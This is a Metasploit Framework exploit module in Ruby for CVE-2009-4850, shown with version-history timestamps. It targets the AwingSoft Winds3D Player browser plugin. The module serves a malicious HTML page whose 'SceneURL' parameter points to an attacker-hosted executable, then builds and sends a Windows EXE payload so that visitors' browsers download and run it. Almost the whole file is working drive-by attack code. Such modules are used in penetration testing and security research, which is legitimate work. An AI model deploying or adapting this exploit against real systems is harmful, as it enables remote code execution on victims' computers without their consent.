2009-11-14 22:26:08 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-11-14 22:26:08 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2009-11-14 22:26:08 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2010-09-20 04:38:13 +00:00
|
|
|
include Msf::Exploit::EXE
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-11-14 22:26:08 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'AwingSoft Winds3D Player 3.5 SceneURL Download and Execute',
|
|
|
|
'Description' => %q{
|
2010-03-10 05:58:01 +00:00
|
|
|
This module exploits an untrusted program execution vulnerability within the
|
2009-11-14 22:26:08 +00:00
|
|
|
Winds3D Player from AwingSoft. The Winds3D Player is a browser plugin for
|
2010-04-30 08:40:19 +00:00
|
|
|
IE (ActiveX), Opera (DLL) and Firefox (XPI). By setting the 'SceneURL'
|
|
|
|
parameter to the URL to an executable, an attacker can execute arbitrary
|
2009-11-14 22:26:08 +00:00
|
|
|
code.
|
|
|
|
|
|
|
|
Testing was conducted using plugin version 3.5.0.9 for Firefox 3.5 and
|
|
|
|
IE 8 on Windows XP SP3.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
2010-03-10 05:58:01 +00:00
|
|
|
'jduck' # original discovery & metasploit module
|
2009-11-14 22:26:08 +00:00
|
|
|
],
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2010-07-02 00:10:51 +00:00
|
|
|
[ 'CVE', '2009-4850' ],
|
2009-11-15 16:03:01 +00:00
|
|
|
[ 'OSVDB', '60049' ]
|
2009-11-14 22:26:08 +00:00
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 2048,
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', { }],
|
|
|
|
],
|
2010-06-15 07:18:08 +00:00
|
|
|
'DisclosureDate' => 'Nov 14 2009',
|
2009-11-14 22:26:08 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-11-14 22:26:08 +00:00
|
|
|
payload_url = "http://"
|
|
|
|
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
2012-06-25 03:59:14 +00:00
|
|
|
payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
|
2009-11-14 22:26:08 +00:00
|
|
|
|
|
|
|
if (request.uri.match(/payload/))
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
2010-09-20 04:38:13 +00:00
|
|
|
data = generate_payload_exe({ :code => p.encoded })
|
2012-04-20 19:31:42 +00:00
|
|
|
print_status("Sending EXE payload")
|
2009-11-14 22:26:08 +00:00
|
|
|
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-11-14 22:26:08 +00:00
|
|
|
# Handle the payload
|
|
|
|
# handler(cli)
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# otherwise, send the html..
|
|
|
|
html = %Q|<html>
|
|
|
|
<body>
|
2010-04-30 08:40:19 +00:00
|
|
|
<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903'
|
|
|
|
codebase='http://www.awingsoft.com/zips/WindsPly.CAB'>
|
|
|
|
<param name="SceneURL" value="#{payload_url}#">
|
|
|
|
<embed type="application/x-awingsoft-winds3d" src="#{payload_url}">
|
2009-11-14 22:26:08 +00:00
|
|
|
</object>
|
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2012-04-20 19:31:42 +00:00
|
|
|
print_status("Sending #{self.name} HTML")
|
2009-11-14 22:26:08 +00:00
|
|
|
# Transmit the compressed response to the client
|
|
|
|
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|